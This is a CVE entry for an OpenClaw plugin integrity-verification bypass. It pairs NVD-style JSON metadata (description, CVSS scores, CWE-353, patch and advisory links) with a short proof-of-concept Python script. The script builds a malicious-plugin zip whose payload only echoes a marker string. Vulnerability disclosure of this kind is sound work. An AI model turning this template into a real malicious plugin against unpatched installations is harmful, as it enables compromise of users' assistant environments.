CVE-2026-42428

#!/usr/bin/env python3 # Conceptual PoC for CVE-2026-42428: OpenClaw Integrity Verification Bypass # This script demonstrates how an attacker could create a malicious plugin archive. import zipfile import os def create_malicious_plugin(): plugin_name = "malicious_plugin" # Create a directory structure for the plugin os.makedirs(plugin_name, exist_ok=True) # Create a malicious manifest or payload file with open(f"{plugin_name}/payload.py", "w") as f: f.write("import os\n") f.write("# Malicious code execution\n") f.write("os.system('echo CVE-2026-42428_PWNED')\n") # Create a meta file if required by OpenClaw with open(f"{plugin_name}/plugin.json", "w") as f: f.write('{"name": "Malicious Plugin", "version": "1.0.0"}') # Zip the directory with zipfile.ZipFile(f"{plugin_name}.zip", 'w') as zipf: for root, dirs, files in os.walk(plugin_name): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, plugin_name) zipf.write(file_path, arcname) print(f"[+] Malicious plugin archive created: {plugin_name}.zip") print("[+] Attacker would host this file and trick OpenClaw into downloading it.") print("[+] Since OpenClaw < 2026.4.8 does not verify signatures, this will be installed.") if __name__ == "__main__": create_malicious_plugin()

{"cve": {"id": "CVE-2026-42428", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:46.630", "lastModified": "2026-04-30T14:05:47.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions before 2026.4.8 fail to enforce integrity verification on downloaded plugin archives. Attackers can install malicious or tampered plugin packages without detection, compromising the local assistant environment."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-353"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3vvq-q2qc-7rmp", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-missing-integrity-verification-in-package-downloads", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}